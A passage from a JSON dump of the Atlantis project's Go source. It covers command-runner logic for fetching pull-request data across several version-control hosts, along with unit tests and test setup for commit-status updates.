{\n\t\tctx.Log.Debug(\"silence enabled - not setting pending VCS status\")\n\t}\n\n\tpreWorkflowHooksErr := c.PreWorkflowHooksCommandRunner.RunPreHooks(ctx, cmd)\n\n\tif preWorkflowHooksErr != nil {\n\t\tif c.FailOnPreWorkflowHookError {\n\t\t\tctx.Log.Err(\"'fail-on-pre-workflow-hook-error' set, so not running %s command.\", cmd.Name.String())\n\n\t\t\t// Create comment on pull request about the pre-workflow hook failure\n\t\t\terrMsg := fmt.Sprintf(\"```\\nError: Pre-workflow hook failed: %s\\n```\", preWorkflowHooksErr.Error())\n\t\t\tif err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, errMsg, \"\"); err != nil {\n\t\t\t\tctx.Log.Warn(\"Unable to create comment about pre-workflow hook failure: %s\", err)\n\t\t\t}\n\n\t\t\t// Update the plan or apply commit status to failed\n\t\t\tswitch cmd.Name {\n\t\t\tcase command.Plan:\n\t\t\t\tif err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Plan); err != nil {\n\t\t\t\t\tctx.Log.Warn(\"unable to update plan commit status: %s\", err)\n\t\t\t\t}\n\t\t\tcase command.Apply:\n\t\t\t\tif err := c.CommitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Apply); err != nil {\n\t\t\t\t\tctx.Log.Warn(\"unable to update apply commit status: %s\", err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn\n\t\t}\n\n\t\tctx.Log.Err(\"'fail-on-pre-workflow-hook-error' not set so running %s command.\", cmd.Name.String())\n\t}\n\n\tcmdRunner := buildCommentCommandRunner(c, cmd.CommandName())\n\n\tcmdRunner.Run(ctx, cmd)\n\n\tc.PostWorkflowHooksCommandRunner.RunPostHooks(ctx, cmd) // nolint: errcheck\n}\n\nfunc (c *DefaultCommandRunner) getGithubData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) {\n\tif c.GithubPullGetter == nil {\n\t\treturn models.PullRequest{}, models.Repo{}, errors.New(\"atlantis not configured to support GitHub\")\n\t}\n\tghPull, err := c.GithubPullGetter.GetPullRequest(logger, baseRepo, pullNum)\n\tif err != nil {\n\t\treturn models.PullRequest{}, models.Repo{}, fmt.Errorf(\"making pull request API call to GitHub: %w\", err)\n\t}\n\tpull, _, headRepo, err := c.EventParser.ParseGithubPull(logger, ghPull)\n\tif err != nil {\n\t\treturn pull, headRepo, fmt.Errorf(\"extracting required fields from comment data: %w\", err)\n\t}\n\treturn pull, headRepo, nil\n}\n\nfunc (c *DefaultCommandRunner) getGiteaData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) {\n\tif c.GiteaPullGetter == nil {\n\t\treturn models.PullRequest{}, models.Repo{}, errors.New(\"atlantis not configured to support Gitea\")\n\t}\n\tgiteaPull, err := c.GiteaPullGetter.GetPullRequest(logger, baseRepo, pullNum)\n\tif err != nil {\n\t\treturn models.PullRequest{}, models.Repo{}, fmt.Errorf(\"making pull request API call to Gitea: %w\", err)\n\t}\n\tpull, _, headRepo, err := c.EventParser.ParseGiteaPull(giteaPull)\n\tif err != nil {\n\t\treturn pull, headRepo, fmt.Errorf(\"extracting required fields from comment data: %w\", err)\n\t}\n\treturn pull, headRepo, nil\n}\n\nfunc (c *DefaultCommandRunner) getGitlabData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, error) {\n\tif c.GitlabMergeRequestGetter == nil {\n\t\treturn models.PullRequest{}, errors.New(\"atlantis not configured to support GitLab\")\n\t}\n\tmr, err := c.GitlabMergeRequestGetter.GetMergeRequest(logger, baseRepo.FullName, pullNum)\n\tif err != nil {\n\t\treturn models.PullRequest{}, fmt.Errorf(\"making merge request API call to GitLab: %w\", err)\n\t}\n\tpull := c.EventParser.ParseGitlabMergeRequest(mr, baseRepo)\n\treturn pull, nil\n}\n\nfunc (c *DefaultCommandRunner) getAzureDevopsData(logger logging.SimpleLogging, baseRepo models.Repo, pullNum int) (models.PullRequest, models.Repo, error) {\n\tif c.AzureDevopsPullGetter == nil {\n\t\treturn models.PullRequest{}, models.Repo{}, errors.New(\"atlantis not configured to support Azure DevOps\")\n\t}\n\tadPull, err := c.AzureDevopsPullGetter.GetPullRequest(logger, baseRepo, pullNum)\n\tif err != nil {\n\t\treturn models.PullRequest{}, models.Repo{}, fmt.Errorf(\"making pull request API call to Azure DevOps: %w\", err)\n\t}\n\tpull, _, headRepo, err := c.EventParser.ParseAzureDevopsPull(adPull)\n\tif err != nil {\n\t\treturn pull, headRepo, fmt.Errorf(\"extracting required fields from comment data: %w\", err)\n\t}\n\treturn pull, headRepo, nil\n}\n\nfunc (c *DefaultCommandRunner) buildLogger(repoFullName string, pullNum int) logging.SimpleLogging {\n\n\treturn c.Logger.WithHistory(\n\t\t\"repo\", repoFullName,\n\t\t\"pull\", strconv.Itoa(pullNum),\n\t)\n}\n\nfunc (c *DefaultCommandRunner) ensureValidRepoMetadata(\n\tbaseRepo models.Repo,\n\tmaybeHeadRepo *models.Repo,\n\tmaybePull *models.PullRequest,\n\t_ models.User,\n\tpullNum int,\n\tlog logging.SimpleLogging,\n) (headRepo models.Repo, pull models.PullRequest, err error) {\n\tif maybeHeadRepo != nil {\n\t\theadRepo = *maybeHeadRepo\n\t}\n\n\tswitch baseRepo.VCSHost.Type {\n\tcase models.Github:\n\t\tpull, headRepo, err = c.getGithubData(log, baseRepo, pullNum)\n\tcase models.Gitlab:\n\t\tpull, err = c.getGitlabData(log, baseRepo, pullNum)\n\tcase models.BitbucketCloud, models.BitbucketServer:\n\t\tif maybePull == nil {\n\t\t\terr = errors.New(\"pull request should not be nil–this is a bug\")\n\t\t\tbreak\n\t\t}\n\t\tpull = *maybePull\n\tcase models.AzureDevops:\n\t\tpull, headRepo, err = c.getAzureDevopsData(log, baseRepo, pullNum)\n\tcase models.Gitea:\n\t\tpull, headRepo, err = c.getGiteaData(log, baseRepo, pullNum)\n\tdefault:\n\t\terr = errors.New(\"unknown VCS type–this is a bug\")\n\t}\n\n\tif err != nil {\n\t\tlog.Err(err.Error())\n\t\tif commentErr := c.VCSClient.CreateComment(c.Logger, baseRepo, pullNum, fmt.Sprintf(\"`Error: %s`\", err), \"\"); commentErr != nil {\n\t\t\tlog.Err(\"unable to comment: %s\", commentErr)\n\t\t}\n\t}\n\n\treturn\n}\n\nfunc (c *DefaultCommandRunner) fetchUserTeams(logger logging.SimpleLogging, repo models.Repo, user *models.User) error {\n\tteams, err := c.VCSClient.GetTeamNamesForUser(logger, repo, *user)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tuser.Teams = teams\n\treturn nil\n}\n\nfunc (c *DefaultCommandRunner) validateCtxAndComment(ctx *command.Context, commandName command.Name) bool {\n\tif !c.AllowForkPRs && ctx.HeadRepo.Owner != ctx.Pull.BaseRepo.Owner {\n\t\tif c.SilenceForkPRErrors {\n\t\t\treturn false\n\t\t}\n\t\tctx.Log.Info(\"command was run on a fork pull request which is disallowed\")\n\t\tif err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, fmt.Sprintf(\"Atlantis commands can't be run on fork pull requests. To enable, set --%s  or, to disable this message, set --%s\", c.AllowForkPRsFlag, c.SilenceForkPRErrorsFlag), \"\"); err != nil {\n\t\t\tctx.Log.Err(\"unable to comment: %s\", err)\n\t\t}\n\t\treturn false\n\t}\n\n\tif ctx.Pull.State != models.OpenPullState && commandName != command.Unlock {\n\t\tctx.Log.Info(\"command was run on closed pull request\")\n\t\tif err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, \"Atlantis commands can't be run on closed pull requests\", \"\"); err != nil {\n\t\t\tctx.Log.Err(\"unable to comment: %s\", err)\n\t\t}\n\t\treturn false\n\t}\n\n\trepo := c.GlobalCfg.MatchingRepo(ctx.Pull.BaseRepo.ID())\n\tif !repo.BranchMatches(ctx.Pull.BaseBranch) {\n\t\tctx.Log.Info(\"command was run on a pull request which doesn't match base branches\")\n\t\t// just ignore it to allow us to use any git workflows without malicious intentions.\n\t\treturn false\n\t}\n\treturn true\n}\n\n// logPanics logs and creates a comment on the pull request for panics.\nfunc (c *DefaultCommandRunner) logPanics(baseRepo models.Repo, pullNum int, logger logging.SimpleLogging) {\n\tif err := recover(); err != nil {\n\t\tstack := recovery.Stack(3)\n\t\tlogger.Err(\"PANIC: %s\\n%s\", err, stack)\n\t\tif commentErr := c.VCSClient.CreateComment(\n\t\t\tlogger,\n\t\t\tbaseRepo,\n\t\t\tpullNum,\n\t\t\tfmt.Sprintf(\"**Error: goroutine panic. This is a bug.**\\n```\\n%s\\n%s```\", err, stack),\n\t\t\t\"\",\n\t\t); commentErr != nil {\n\t\t\tlogger.Err(\"unable to comment: %s\", commentErr)\n\t\t}\n\t}\n}\n\nvar automergeComment = `Automatically merging because all plans have been successfully applied.`\n"
  },
  {
    "path": "server/events/command_runner_internal_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestApplyUpdateCommitStatus(t *testing.T) {\n\tcases := map[string]struct {\n\t\tcmd           command.Name\n\t\tpullStatus    models.PullStatus\n\t\texpStatus     models.CommitStatus\n\t\texpNumSuccess int\n\t\texpNumTotal   int\n\t}{\n\t\t\"apply, one pending\": {\n\t\t\tcmd: command.Apply,\n\t\t\tpullStatus: models.PullStatus{\n\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.AppliedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus:     models.PendingCommitStatus,\n\t\t\texpNumSuccess: 1,\n\t\t\texpNumTotal:   2,\n\t\t},\n\t\t\"apply, all successful\": {\n\t\t\tcmd: command.Apply,\n\t\t\tpullStatus: models.PullStatus{\n\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.AppliedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.AppliedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus:     models.SuccessCommitStatus,\n\t\t\texpNumSuccess: 2,\n\t\t\texpNumTotal:   2,\n\t\t},\n\t\t\"apply, one errored, one pending\": {\n\t\t\tcmd: command.Apply,\n\t\t\tpullStatus: models.PullStatus{\n\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.AppliedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.ErroredApplyStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus:     models.FailedCommitStatus,\n\t\t\texpNumSuccess: 1,\n\t\t\texpNumTotal:   3,\n\t\t},\n\t\t\"apply, one planned no changes\": {\n\t\t\tcmd: command.Apply,\n\t\t\tpullStatus: models.PullStatus{\n\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.AppliedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedNoChangesPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus:     models.SuccessCommitStatus,\n\t\t\texpNumSuccess: 2,\n\t\t\texpNumTotal:   2,\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tcsu := &MockCSU{}\n\t\t\tcr := &ApplyCommandRunner{\n\t\t\t\tcommitStatusUpdater: csu,\n\t\t\t}\n\t\t\tcr.updateCommitStatus(&command.Context{}, c.pullStatus)\n\t\t\tEquals(t, models.Repo{}, csu.CalledRepo)\n\t\t\tEquals(t, models.PullRequest{}, csu.CalledPull)\n\t\t\tEquals(t, c.expStatus, csu.CalledStatus)\n\t\t\tEquals(t, c.cmd, csu.CalledCommand)\n\t\t\tEquals(t, c.expNumSuccess, csu.CalledNumSuccess)\n\t\t\tEquals(t, c.expNumTotal, csu.CalledNumTotal)\n\t\t})\n\t}\n}\n\nfunc TestPlanUpdatePlanCommitStatus(t *testing.T) {\n\tcases := map[string]struct {\n\t\tcmd           command.Name\n\t\tpullStatus    models.PullStatus\n\t\texpStatus     models.CommitStatus\n\t\texpNumSuccess int\n\t\texpNumTotal   int\n\t}{\n\t\t\"single plan success\": {\n\t\t\tcmd: command.Plan,\n\t\t\tpullStatus: models.PullStatus{\n\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus:     models.SuccessCommitStatus,\n\t\t\texpNumSuccess: 1,\n\t\t\texpNumTotal:   1,\n\t\t},\n\t\t\"one plan error, other errors\": {\n\t\t\tcmd: command.Plan,\n\t\t\tpullStatus: models.PullStatus{\n\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.ErroredPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.AppliedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.ErroredApplyStatus,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus:     models.FailedCommitStatus,\n\t\t\texpNumSuccess: 3,\n\t\t\texpNumTotal:   4,\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tcsu := &MockCSU{}\n\t\t\tcr := &PlanCommandRunner{\n\t\t\t\tcommitStatusUpdater: csu,\n\t\t\t}\n\t\t\tcr.updateCommitStatus(&command.Context{}, c.pullStatus, command.Plan)\n\t\t\tEquals(t, models.Repo{}, csu.CalledRepo)\n\t\t\tEquals(t, models.PullRequest{}, csu.CalledPull)\n\t\t\tEquals(t, c.expStatus, csu.CalledStatus)\n\t\t\tEquals(t, c.cmd, csu.CalledCommand)\n\t\t\tEquals(t, c.expNumSuccess, csu.CalledNumSuccess)\n\t\t\tEquals(t, c.expNumTotal, csu.CalledNumTotal)\n\t\t})\n\t}\n}\n\nfunc TestPlanUpdateApplyCommitStatus(t *testing.T) {\n\tcases := map[string]struct {\n\t\tcmd                  command.Name\n\t\tpullStatus           models.PullStatus\n\t\texpStatus            models.CommitStatus\n\t\tdoNotCallUpdateApply bool // In certain situations, we don't expect updateCommitStatus to call the underlying commitStatusUpdater code at all\n\t\texpNumSuccess        int\n\t\texpNumTotal          int\n\t}{\n\t\t\"all plans success with no changes\": {\n\t\t\tcmd: command.Apply,\n\t\t\tpullStatus: models.PullStatus{\n\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedNoChangesPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedNoChangesPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus:     models.SuccessCommitStatus,\n\t\t\texpNumSuccess: 2,\n\t\t\texpNumTotal:   2,\n\t\t},\n\t\t\"one plan, one plan success with no changes\": {\n\t\t\tcmd: command.Apply,\n\t\t\tpullStatus: models.PullStatus{\n\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedNoChangesPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tdoNotCallUpdateApply: true,\n\t\t},\n\t\t\"one plan, one apply, one plan success with no changes\": {\n\t\t\tcmd: command.Apply,\n\t\t\tpullStatus: models.PullStatus{\n\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedNoChangesPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.AppliedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tdoNotCallUpdateApply: true,\n\t\t},\n\t\t\"one apply error, one apply, one plan success with no changes\": {\n\t\t\tcmd: command.Apply,\n\t\t\tpullStatus: models.PullStatus{\n\t\t\t\tProjects: []models.ProjectStatus{\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.PlannedNoChangesPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.AppliedPlanStatus,\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tStatus: models.ErroredApplyStatus,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpStatus:     models.FailedCommitStatus,\n\t\t\texpNumSuccess: 2,\n\t\t\texpNumTotal:   3,\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tcsu := &MockCSU{}\n\t\t\tcr := &PlanCommandRunner{\n\t\t\t\tcommitStatusUpdater: csu,\n\t\t\t}\n\t\t\tcr.updateCommitStatus(&command.Context{}, c.pullStatus, command.Apply)\n\t\t\tif c.doNotCallUpdateApply {\n\t\t\t\tEquals(t, csu.Called, false)\n\t\t\t} else {\n\t\t\t\tEquals(t, csu.Called, true)\n\t\t\t\tEquals(t, models.Repo{}, csu.CalledRepo)\n\t\t\t\tEquals(t, models.PullRequest{}, csu.CalledPull)\n\t\t\t\tEquals(t, c.expStatus, csu.CalledStatus)\n\t\t\t\tEquals(t, c.cmd, csu.CalledCommand)\n\t\t\t\tEquals(t, c.expNumSuccess, csu.CalledNumSuccess)\n\t\t\t\tEquals(t, c.expNumTotal, csu.CalledNumTotal)\n\t\t\t}\n\t\t})\n\t}\n}\n\ntype MockCSU struct {\n\tCalledRepo       models.Repo\n\tCalledPull       models.PullRequest\n\tCalledStatus     models.CommitStatus\n\tCalledCommand    command.Name\n\tCalledNumSuccess int\n\tCalledNumTotal   int\n\tCalled           bool\n}\n\nfunc (m *MockCSU) UpdateCombinedCount(_ logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, command command.Name, numSuccess int, numTotal int) error {\n\tm.Called = true\n\tm.CalledRepo = repo\n\tm.CalledPull = pull\n\tm.CalledStatus = status\n\tm.CalledCommand = command\n\tm.CalledNumSuccess = numSuccess\n\tm.CalledNumTotal = numTotal\n\treturn nil\n}\n\nfunc (m *MockCSU) UpdateCombined(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest, _ models.CommitStatus, _ command.Name) error {\n\treturn nil\n}\n\nfunc (m *MockCSU) UpdateProject(_ command.ProjectContext, _ command.Name, _ models.CommitStatus, _ string, _ *command.ProjectResult) error {\n\treturn nil\n}\n\nfunc (m *MockCSU) UpdatePreWorkflowHook(_ logging.SimpleLogging, _ models.PullRequest, _ models.CommitStatus, _ string, _ string, _ string) error {\n\treturn nil\n}\n\nfunc (m *MockCSU) UpdatePostWorkflowHook(_ logging.SimpleLogging, _ models.PullRequest, _ models.CommitStatus, _ string, _ string, _ string) error {\n\treturn nil\n}\n"
  },
  {
    "path": "server/events/command_runner_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage events_test\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/core/boltdb\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics/metricstest\"\n\n\t\"github.com/google/go-github/v83/github\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\tlockingmocks \"github.com/runatlantis/atlantis/server/core/locking/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/models/testdata\"\n\tvcsmocks \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"go.uber.org/mock/gomock\"\n)\n\nvar projectCommandBuilder *mocks.MockProjectCommandBuilder\nvar projectCommandRunner *mocks.MockProjectCommandRunner\nvar eventParsing *mocks.MockEventParsing\nvar azuredevopsGetter *mocks.MockAzureDevopsPullGetter\nvar githubGetter *mocks.MockGithubPullGetter\nvar gitlabGetter *mocks.MockGitlabMergeRequestGetter\nvar ch events.DefaultCommandRunner\nvar workingDir events.WorkingDir\nvar pendingPlanFinder *mocks.MockPendingPlanFinder\nvar drainer *events.Drainer\nvar deleteLockCommand *mocks.MockDeleteLockCommand\nvar commitUpdater *mocks.MockCommitStatusUpdater\nvar pullReqStatusFetcher *vcsmocks.MockPullReqStatusFetcher\n\n// TODO: refactor these into their own unit tests.\n// these were all split out from default command runner in an effort to improve\n// readability however the tests were kept as is.\nvar dbUpdater *events.DBUpdater\nvar pullUpdater *events.PullUpdater\nvar autoMerger *events.AutoMerger\nvar policyCheckCommandRunner *events.PolicyCheckCommandRunner\nvar approvePoliciesCommandRunner *events.ApprovePoliciesCommandRunner\nvar planCommandRunner *events.PlanCommandRunner\nvar applyLockChecker *lockingmocks.MockApplyLockChecker\nvar lockingLocker *lockingmocks.MockLocker\nvar applyCommandRunner *events.ApplyCommandRunner\nvar unlockCommandRunner *events.UnlockCommandRunner\nvar importCommandRunner *events.ImportCommandRunner\nvar preWorkflowHooksCommandRunner events.PreWorkflowHooksCommandRunner\nvar postWorkflowHooksCommandRunner events.PostWorkflowHooksCommandRunner\nvar cancellationTracker *mocks.MockCancellationTracker\n\ntype TestConfig struct {\n\tparallelPoolSize           int\n\tSilenceNoProjects          bool\n\tsilenceVCSStatusNoPlans    bool\n\tsilenceVCSStatusNoProjects bool\n\tStatusName                 string\n\tdiscardApprovalOnPlan      bool\n\tdatabase                   db.Database\n\tDisableUnlockLabel         string\n\tPendingApplyStatus         bool\n\tapplyLockCheckerReturn     locking.ApplyCommandLock\n\tapplyLockCheckerErr        error\n}\n\nfunc setup(t *testing.T, options ...func(testConfig *TestConfig)) *vcsmocks.MockClient {\n\tRegisterMockTestingT(t)\n\n\t// create an empty DB\n\ttmp := t.TempDir()\n\tdefaultBoltDB, err := boltdb.New(tmp)\n\tt.Cleanup(func() {\n\t\tdefaultBoltDB.Close()\n\t})\n\tOk(t, err)\n\n\ttestConfig := &TestConfig{\n\t\tparallelPoolSize:      1,\n\t\tSilenceNoProjects:     false,\n\t\tStatusName:            \"atlantis-test\",\n\t\tdiscardApprovalOnPlan: false,\n\t\tdatabase:              defaultBoltDB,\n\t\tDisableUnlockLabel:    \"do-not-unlock\",\n\t}\n\n\tfor _, op := range options {\n\t\top(testConfig)\n\t}\n\n\tprojectCommandBuilder = mocks.NewMockProjectCommandBuilder()\n\teventParsing = mocks.NewMockEventParsing()\n\tvcsClient := vcsmocks.NewMockClient()\n\tgithubGetter = mocks.NewMockGithubPullGetter()\n\tgitlabGetter = mocks.NewMockGitlabMergeRequestGetter()\n\tazuredevopsGetter = mocks.NewMockAzureDevopsPullGetter()\n\tlogger := logging.NewNoopLogger(t)\n\tprojectCommandRunner = mocks.NewMockProjectCommandRunner()\n\tworkingDir = mocks.NewMockWorkingDir()\n\tpendingPlanFinder = mocks.NewMockPendingPlanFinder()\n\tcommitUpdater = mocks.NewMockCommitStatusUpdater()\n\tpullReqStatusFetcher = vcsmocks.NewMockPullReqStatusFetcher()\n\tcancellationTracker = mocks.NewMockCancellationTracker()\n\n\tdrainer = &events.Drainer{}\n\tdeleteLockCommand = mocks.NewMockDeleteLockCommand()\n\tlockCtrl := gomock.NewController(t)\n\tapplyLockChecker = lockingmocks.NewMockApplyLockChecker(lockCtrl)\n\tlockingLocker = lockingmocks.NewMockLocker(lockCtrl)\n\t// Allow incidental calls to CheckApplyLock (called internally during apply operations).\n\t// Tests that need specific return values should set applyLockCheckerReturn/applyLockCheckerErr in TestConfig.\n\tapplyLockChecker.EXPECT().CheckApplyLock().Return(testConfig.applyLockCheckerReturn, testConfig.applyLockCheckerErr).AnyTimes()\n\t// Allow incidental calls to UnlockByPull (called during plan operations to clean up locks)\n\tlockingLocker.EXPECT().UnlockByPull(gomock.Any(), gomock.Any()).Return(nil, nil).AnyTimes()\n\n\tdbUpdater = &events.DBUpdater{\n\t\tDatabase: testConfig.database,\n\t}\n\n\tpullUpdater = &events.PullUpdater{\n\t\tHidePrevPlanComments: false,\n\t\tVCSClient:            vcsClient,\n\t\tMarkdownRenderer:     events.NewMarkdownRenderer(false, false, false, false, false, false, \"\", \"atlantis\", false, false),\n\t}\n\n\tautoMerger = &events.AutoMerger{\n\t\tVCSClient:       vcsClient,\n\t\tGlobalAutomerge: false,\n\t}\n\n\tpolicyCheckCommandRunner = events.NewPolicyCheckCommandRunner(\n\t\tdbUpdater,\n\t\tpullUpdater,\n\t\tcommitUpdater,\n\t\tprojectCommandRunner,\n\t\ttestConfig.parallelPoolSize,\n\t\ttestConfig.silenceVCSStatusNoProjects,\n\t\tfalse,\n\t)\n\n\tplanCommandRunner = events.NewPlanCommandRunner(\n\t\ttestConfig.silenceVCSStatusNoPlans,\n\t\ttestConfig.silenceVCSStatusNoProjects,\n\t\tvcsClient,\n\t\tpendingPlanFinder,\n\t\tworkingDir,\n\t\tcommitUpdater,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t\tcancellationTracker,\n\t\tdbUpdater,\n\t\tpullUpdater,\n\t\tpolicyCheckCommandRunner,\n\t\tautoMerger,\n\t\ttestConfig.parallelPoolSize,\n\t\ttestConfig.SilenceNoProjects,\n\t\ttestConfig.database,\n\t\tlockingLocker,\n\t\ttestConfig.discardApprovalOnPlan,\n\t\tpullReqStatusFetcher,\n\t\ttestConfig.PendingApplyStatus,\n\t)\n\n\tapplyCommandRunner = events.NewApplyCommandRunner(\n\t\tvcsClient,\n\t\tfalse,\n\t\tapplyLockChecker,\n\t\tcommitUpdater,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t\tcancellationTracker,\n\t\tautoMerger,\n\t\tpullUpdater,\n\t\tdbUpdater,\n\t\ttestConfig.database,\n\t\ttestConfig.parallelPoolSize,\n\t\ttestConfig.SilenceNoProjects,\n\t\ttestConfig.silenceVCSStatusNoProjects,\n\t\tpullReqStatusFetcher,\n\t)\n\n\tapprovePoliciesCommandRunner = events.NewApprovePoliciesCommandRunner(\n\t\tcommitUpdater,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t\tpullUpdater,\n\t\tdbUpdater,\n\t\ttestConfig.SilenceNoProjects,\n\t\ttestConfig.silenceVCSStatusNoProjects,\n\t\tvcsClient,\n\t)\n\n\tunlockCommandRunner = events.NewUnlockCommandRunner(\n\t\tdeleteLockCommand,\n\t\tvcsClient,\n\t\ttestConfig.SilenceNoProjects,\n\t\ttestConfig.DisableUnlockLabel,\n\t)\n\n\tversionCommandRunner := events.NewVersionCommandRunner(\n\t\tpullUpdater,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t\ttestConfig.parallelPoolSize,\n\t\ttestConfig.SilenceNoProjects,\n\t)\n\n\timportCommandRunner = events.NewImportCommandRunner(\n\t\tpullUpdater,\n\t\tpullReqStatusFetcher,\n\t\tprojectCommandBuilder,\n\t\tprojectCommandRunner,\n\t\ttestConfig.SilenceNoProjects,\n\t)\n\n\tcommentCommandRunnerByCmd := map[command.Name]events.CommentCommandRunner{\n\t\tcommand.Plan:            planCommandRunner,\n\t\tcommand.Apply:           applyCommandRunner,\n\t\tcommand.ApprovePolicies: approvePoliciesCommandRunner,\n\t\tcommand.Unlock:          unlockCommandRunner,\n\t\tcommand.Version:         versionCommandRunner,\n\t\tcommand.Import:          importCommandRunner,\n\t}\n\n\tpreWorkflowHooksCommandRunner = 